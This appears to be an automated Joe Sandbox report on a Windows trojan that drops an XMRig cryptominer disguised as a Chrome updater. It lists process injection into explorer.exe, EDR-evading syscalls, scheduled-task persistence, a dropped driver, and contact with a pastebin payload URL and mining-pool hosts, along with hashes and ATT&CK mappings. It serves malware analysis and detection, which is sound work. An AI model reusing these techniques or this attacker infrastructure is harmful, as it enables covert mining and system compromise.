Source: explorer.exe, 00000017.00000002.4158658044.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.4158658044.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\c2.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Code function: 19_2_00007FF778011131 Sleep,Sleep,_amsg_exit,_initterm,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,_cexit,		19_2_00007FF778011131
Source: C:\Windows\System32\conhost.exe	Code function: 19_2_00007FF77801B1B8 SetUnhandledExceptionFilter,		19_2_00007FF77801B1B8

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 103.3.62.64 10343	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.20.4.235 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 51.79.145.144 10343	Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files\Google\Chrome\updater.exe	NtQuerySystemInformation: Direct from: 0x7FF60281303E			Jump to behavior
Source: C:\Users\user\Desktop\c2.exe	NtQuerySystemInformation: Direct from: 0x7FF632AE303E			Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Program Files\Google\Chrome\updater.exe

Memory written: PID: 7868 base: BCB010 value: 00

Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Program Files\Google\Chrome\updater.exe	Section loaded: NULL target: C:\Windows\System32\conhost.exe protection: readonly			Jump to behavior
Source: C:\Program Files\Google\Chrome\updater.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: readonly			Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Program Files\Google\Chrome\updater.exe	Thread register set: target process: 7808			Jump to behavior
Source: C:\Program Files\Google\Chrome\updater.exe	Thread register set: target process: 7868			Jump to behavior

Writes to foreign memory regions

Source: C:\Program Files\Google\Chrome\updater.exe	Memory written: C:\Windows\System32\conhost.exe base: B109AD5010			Jump to behavior
Source: C:\Program Files\Google\Chrome\updater.exe	Memory written: C:\Windows\explorer.exe base: BCB010			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Program Files\Google\Chrome\updater.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\System32\conhost.exe	Jump to behavior
Source: C:\Program Files\Google\Chrome\updater.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 Windows Service	1 Windows Service	11 Masquerading	OS Credential Dumping	311 Security Software Discovery	Remote Services	Data from Local System	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	11 DLL Side-Loading	511 Process Injection	12 Virtualization/Sandbox Evasion	LSASS Memory	12 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Abuse Elevation Control Mechanism	511 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	11 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	NTDS	3 System Information Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Abuse Elevation Control Mechanism	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	3 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
c2.exe	42%	ReversingLabs	Win64.Trojan.Rozena
c2.exe	100%	Avira	TR/Crypt.EPACK.Gen2
c2.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files\Google\Chrome\updater.exe	100%	Avira	TR/Crypt.EPACK.Gen2
C:\Windows\Temp\lnobvhjdatqu.tmp	100%	Joe Sandbox ML
C:\Program Files\Google\Chrome\updater.exe	100%	Joe Sandbox ML
C:\Program Files\Google\Chrome\updater.exe	42%	ReversingLabs	Win64.Trojan.Rozena
C:\Windows\Temp\lnobvhjdatqu.tmp	62%	ReversingLabs	Win64.Trojan.DisguisedXMRigMiner
C:\Windows\Temp\ppefirylicdf.sys	5%	ReversingLabs

Name	IP	Active	Malicious	Antivirus Detection	Reputation
xmr-asia1.nanopool.org	51.79.145.144	true	false		high
pastebin.com	104.20.4.235	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://pastebin.com/raw/YLG9StR0	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://crl.cloudflare.com/origin_ca.crl0	explorer.exe, 00000017.00000002.4158658044.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false	high
http://ocsp.cloudflare.com/origin_ca	explorer.exe, 00000017.00000002.4158658044.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false	high
https://pastebin.com/raw/YLG9StR0--cinit-stealth-targets=Taskmgr.exe	explorer.exe, 00000017.00000002.4158658044.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://pastebin.com/raw/YLG9StR0$	explorer.exe, 00000017.00000003.1732250618.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.4158658044.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false	high
http://ocsp.cloudflare.com/origin_ca0	explorer.exe, 00000017.00000002.4158658044.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false	high
https://pastebin.com/raw/YLG9StR08	explorer.exe, 00000017.00000003.1700744936.0000000000D20000.00000004.00000020.00020000.00000000.sdmp	false	high
https://pastebin.com/raw/YLG9StR0Taskmgr.exe	explorer.exe, 00000017.00000003.1700744936.0000000000D10000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crl.cloudflare.com/origin_ca.crl	explorer.exe, 00000017.00000002.4158658044.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false	high
https://pastebin.com/raw/YLG9StR090	explorer.exe, 00000017.00000002.4158658044.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://xmrig.com/docs/algorithms	conhost.exe, 00000013.00000002.4158581402.000001B6A8670000.00000004.00000001.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.20.4.235	pastebin.com	United States	13335	CLOUDFLARENETUS	false
51.79.145.144	xmr-asia1.nanopool.org	Canada	16276	OVHFR	false
103.3.62.64	unknown	Singapore	63949	LINODE-APLinodeLLCUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576710
Start date and time:	2024-12-17 12:45:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	37
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	c2.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@45/5@2/3
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, schtasks.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target c2.exe, PID 7428 because it is empty
Execution Graph export aborted for target updater.exe, PID 7684 because it is empty
Execution Graph export aborted for target updater.exe, PID 7928 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: c2.exe

Simulations

Behavior and APIs

Time	Type	Description
06:46:01	API Interceptor	1x Sleep call for process: c2.exe modified
06:46:02	API Interceptor	2x Sleep call for process: updater.exe modified
11:46:03	Task Scheduler	Run new task: GoogleUpdateTaskMachineQC path: %ProgramFiles%\Google\Chrome\updater.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.20.4.235	gabe.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	vF20HtY4a4.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	gaber.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	sostener.vbs	Get hash	malicious	Njrat	Browse	pastebin.com/raw/V9y5Q5vv
	sostener.vbs	Get hash	malicious	XWorm	Browse	pastebin.com/raw/V9y5Q5vv
	envifa.vbs	Get hash	malicious	Remcos	Browse	pastebin.com/raw/V9y5Q5vv
	New Voicemail Invoice 64746w .js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
51.79.145.144	kYSSVJizBr.exe	Get hash	malicious	Xmrig	Browse
103.3.62.64	file.exe	Get hash	malicious	Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pastebin.com	Instruction_695-18112-002_Rev.PDF.lnk (2).d.lnk	Get hash	malicious	Unknown	Browse	172.67.19.24
	RdLfpZY5A9.exe	Get hash	malicious	77Rootkit, XWorm	Browse	104.20.4.235
	file.exe	Get hash	malicious	XWorm	Browse	172.67.19.24
	main.exe	Get hash	malicious	Unknown	Browse	104.20.4.235
	CVmkXJ7e0a.exe	Get hash	malicious	SheetRat	Browse	104.20.4.235
	http://annavirgili.com	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	172.67.19.24
	http://annavirgili.com	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	172.67.19.24
	KrnlSetup.exe	Get hash	malicious	XWorm	Browse	104.20.3.235
	Revo.Uninstaller.Pro.v5.3.4.exe	Get hash	malicious	Unknown	Browse	104.20.3.235
	Revo.Uninstaller.Pro.v5.3.4.exe	Get hash	malicious	Unknown	Browse	104.20.4.235
xmr-asia1.nanopool.org	file.exe	Get hash	malicious	Xmrig	Browse	103.3.62.64
	Setup.exe	Get hash	malicious	Xmrig	Browse	172.104.165.191
	kYSSVJizBr.exe	Get hash	malicious	Xmrig	Browse	172.104.165.191
	file.exe	Get hash	malicious	RedLine, Xmrig	Browse	51.79.145.144
	file.exe	Get hash	malicious	Xmrig	Browse	139.99.102.74
	file.exe	Get hash	malicious	Xmrig	Browse	139.99.101.198
	file.exe	Get hash	malicious	Xmrig	Browse	103.3.62.64
	file.exe	Get hash	malicious	Xmrig	Browse	139.99.102.71
	file.exe	Get hash	malicious	Xmrig	Browse	139.99.102.70
	file.exe	Get hash	malicious	Xmrig	Browse	139.99.102.73

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LINODE-APLinodeLLCUS	236236236.elf	Get hash	malicious	Unknown	Browse	45.79.222.138
	A6IuJ5NneS.lnk	Get hash	malicious	LummaC	Browse	139.162.173.118
	https://feji.us/m266he	Get hash	malicious	Unknown	Browse	172.104.63.70
	RFQ_P.O.1212024.scr	Get hash	malicious	FormBook	Browse	45.33.6.223
	Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Get hash	malicious	FormBook	Browse	178.79.184.196
	rebirth.spc.elf	Get hash	malicious	Mirai, Okiru	Browse	212.71.233.17
	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse	178.79.182.90
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	50.116.24.57
	BlOgLNwCom.exe	Get hash	malicious	XenoRAT	Browse	96.126.118.61
	i586.elf	Get hash	malicious	Unknown	Browse	172.104.31.172
CLOUDFLARENETUS	23d5f89e-2c54-ee19-3778-06a4bec842b9.eml	Get hash	malicious	Unknown	Browse	104.18.65.57
	https://protect.checkpoint.com/v2/r01/___https://link.edgepilot.com/xdg~fiaa57dVgx2DluRTp19jF8WMmYfWl?z=myyux:ddjrfnq.ynintwjuqD.htrdhdjOBhER6ylHFZFTGu9JoBlVNMIw79G-bMOgKn5Sf55EkuFm_s/LOKQ2pPEoswuEsuU2A7WKVctU0F0LxRir4fJPhZrPOzTgvHZltxJFSX/jFwCJW7F4BtO0gjUt6gM8NiU9g~uEaD_oE2wiDMlq2GDu8zhwYySQbzr0kVZGcn8s4Dk7cEDvSl6XRkaXaP7a5RqmSqgUx7-yk6g8/s-FxFFU__PNlcuV___.YzJ1OndhaXRha2VyZXByaW1hcnk6YzpvOmRkMGI4MjA2MTNmMjg1YzMyNTM2YjE2YzI0MjAzMGU1Ojc6MzQ1NjphZDU1ODAwMDRlN2FjYWY0Nzk3ODJmN2U3MjI1MmNkMTUyZWIyNWZlZjgyYTY4N2M3ZWVjN2E0NjVmZjU3M2E4Omg6VDpU	Get hash	malicious	Unknown	Browse	104.16.123.96
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	172.67.129.27
	122046760.bat	Get hash	malicious	RHADAMANTHYS	Browse	162.159.61.3
	pkqLAMAv96.lnk	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	IIC0XbKFjS.lnk	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	873406390.bat	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	0J3fAc6cHO.lnk	Get hash	malicious	RHADAMANTHYS	Browse	162.159.61.3
	https://atc-secure.com/nocod/wetransdnyd.html#k.muench@muenchundmuench.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.google.com/amp/s/wellsecure.es/.secure##email##	Get hash	malicious	Unknown	Browse	172.67.166.39
OVHFR	Clienter.dll.dll	Get hash	malicious	Unknown	Browse	51.77.90.246
	uEhN67huiV.dll	Get hash	malicious	Unknown	Browse	54.36.205.38
	https://alluc.co/watch-movies/passengers.html	Get hash	malicious	Unknown	Browse	54.38.113.6
	Clienter.dll.dll	Get hash	malicious	Unknown	Browse	94.23.76.52
	https://quarantine-emails13122024bcpe038qua8303rantine0832411.s3.eu-central-3.ionoscloud.com/message.html#anneke.hanekom@mmiholdings.co.za	Get hash	malicious	HTMLPhisher	Browse	46.105.222.162
	1.elf	Get hash	malicious	Unknown	Browse	51.77.132.207
	236236236.elf	Get hash	malicious	Unknown	Browse	198.50.252.64
	sh4.elf	Get hash	malicious	Mirai	Browse	51.38.60.221
	ppc.elf	Get hash	malicious	Mirai	Browse	176.31.173.203
	i686.elf	Get hash	malicious	Mirai	Browse	51.91.63.124

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Temp\ppefirylicdf.sys	ldr.ps1	Get hash	malicious	GO Miner, Xmrig	Browse
	ZppxPm0ASs.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Vidar, Xmrig	Browse
	feZvV3DCj8.exe	Get hash	malicious	Xmrig	Browse
	services64.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	5EZLEXDveC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
C:\Windows\Temp\lnobvhjdatqu.tmp	file.exe	Get hash	malicious	Xmrig	Browse

Created / dropped Files

C:\Program Files\Google\Chrome\updater.exe

Download File

Process:	C:\Users\user\Desktop\c2.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	5737472
Entropy (8bit):	7.67011402410826
Encrypted:	false
SSDEEP:	98304:Tr+uGthg9APk/gpZ49dTpFj8MxJckGsab4PkNU/ZsGpSGvJXkt:TihtO9A8sybTFjGGPjsMSGvJUt
MD5:	EB0588E6420A0A2FB8B262554091ADD3
SHA1:	5C2BDD9050A44B7AFD028E9BE44142DA93232A37
SHA-256:	6CB04057A0313BC34459ABA72170F4039148AAACE0B396B6C881B92769199853
SHA-512:	8278FA6A29258F4095200540D003F33EDE8AC7D8267FCAA14872FDAD674205057FE728754F53AC43FE2F4DCD36FBE223F6D52C9D71AE4F7CA98C2921AEC710AF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................(.F....W................@............................. X.......X...`... ...............................................W.......X.......W.p.............X..............................}W.(.....................W.P............................text...xE.......F..................`..`.data...@.W..`....W..J..............@....rdata.......pW......XW.............@..@.pdata..p.....W......pW.............@..@.xdata........W......vW.............@..@.bss..........W..........................idata........W......\|W.............@....CRT....`.....W.......W.............@....tls..........W.......W.............@....rsrc.........X.......W.............@....reloc........X.......W.............@..B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wjwbvsfqhrdh.xml

Download File

Process:	C:\Users\user\Desktop\c2.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1490
Entropy (8bit):	5.1015990235428035
Encrypted:	false
SSDEEP:	24:2dk4+SkIMFWYL60YeGlMhEMjn5pwjpILUYODOLqx49RJh7h8gJ15E15LNEB86tn:cC3IQDL60uydbQ9IIYODOLqOdq2sbEx
MD5:	546D67A48FF2BF7682CEA9FAC07B942E
SHA1:	A2CB3A9A97FD935B5E62D4C29B3E2C5AB7D5FC90
SHA-256:	EFF7EDC19E6C430AAECA7EA8A77251C74D1E9ABB79B183A9EE1F58C2934B4B6A
SHA-512:	10D90EDF31C0955BCEC52219D854952FD38768BD97E8E50D32A1237BCCAF1A5EB9F824DA0F81A7812E0CE62C0464168DD0201D1C0EB61B9FE253FE7C89DE05FE
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <Triggers>.. <BootTrigger>.. . <Enabled>true</Enabled>.. </BootTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">... <RunLevel>HighestAvailable</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAvailable>false</StartWhenAvailable>.. <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>.. <IdleSettings>.. <Duration>PT10M</Duration>.. <WaitTimeout>PT1H</WaitTimeout>.. <StopOnIdleEnd>false</StopOnIdleEnd>.. <RestartOnIdle>false</RestartOnIdle>.. </IdleSettings>.. <AllowStartOnDemand>true</AllowStartOnDemand>.. <Enabled>true</Enabl

C:\Windows\Temp\lnobvhjdatqu.tmp

Download File

Process:	C:\Program Files\Google\Chrome\updater.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5651456
Entropy (8bit):	6.686504811317419
Encrypted:	false
SSDEEP:	98304:arBrt3+RH2GEo/L7pdenlL17ouknW3jZAk3cB0vyRfgIlFQSmf1JjGGI0:aj3+RZyjZn3c5RYIlGLfjGGI
MD5:	71BA2926F4F302EA7524510B7A07CD28
SHA1:	A9AE469CE440353F66FF604EDE55528F95D3F6BA
SHA-256:	3D0E5AED0AFC5A7719AF93C49C55E6CE91ADFFE5CC50D1597ABB1CCED05FFAA3
SHA-512:	3F6580D75D177222719A79E9AA79F6361D545AE5E3135D77D7C0C96C97C87A02E92F3EFEC8C21F0D4AB643DE8F8E261C0026C5015A00B0785A9FAC55CF187089
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\Windows\Temp\lnobvhjdatqu.tmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: C:\Windows\Temp\lnobvhjdatqu.tmp, Author: unknown Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: C:\Windows\Temp\lnobvhjdatqu.tmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: C:\Windows\Temp\lnobvhjdatqu.tmp, Author: ditekSHen
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 62%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......H.- ..Cs..Cs..CsG.@r..CsG.Fr..CsG.Gr..Cs...s..Cs..Gr..Cs..Frf.Cs..@r..Cs:.Gr..Cs..Bs..CsG.Br..Cs..Gr_.Cs:.Jr..Cs:.@r..Cs:..s..Cs...s..Cs:.Ar..CsRich..Cs................PE..d....r.d.........."....%.l;...D......7........@..........................................`..................................................CR...............}.D............ ..x.....N.......................N.(...@.N.@.............;.8............................text....k;......l;................. ..`.rdata........;......p;.............@..@.data.....+..pR......ZR.............@....pdata..D.....}......dS.............@..@_RANDOMX.............nU.............@..`_TEXT_CN.&.......(...\|U.............@..`_TEXT_CN..............U.............@..`_RDATA..\.............U.............@..@.rsrc.................U.............@..@.reloc..x.... ........U.............@..B........................................

C:\Windows\Temp\ppefirylicdf.sys

Download File

Process:	C:\Program Files\Google\Chrome\updater.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: ldr.ps1, Detection: malicious, Browse Filename: ZppxPm0ASs.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: feZvV3DCj8.exe, Detection: malicious, Browse Filename: services64.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 5EZLEXDveC.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.\|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..\|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

C:\Windows\Temp\wjwbvsfqhrdh.xml

Download File

Process:	C:\Program Files\Google\Chrome\updater.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1490
Entropy (8bit):	5.1015990235428035
Encrypted:	false
SSDEEP:	24:2dk4+SkIMFWYL60YeGlMhEMjn5pwjpILUYODOLqx49RJh7h8gJ15E15LNEB86tn:cC3IQDL60uydbQ9IIYODOLqOdq2sbEx
MD5:	546D67A48FF2BF7682CEA9FAC07B942E
SHA1:	A2CB3A9A97FD935B5E62D4C29B3E2C5AB7D5FC90
SHA-256:	EFF7EDC19E6C430AAECA7EA8A77251C74D1E9ABB79B183A9EE1F58C2934B4B6A
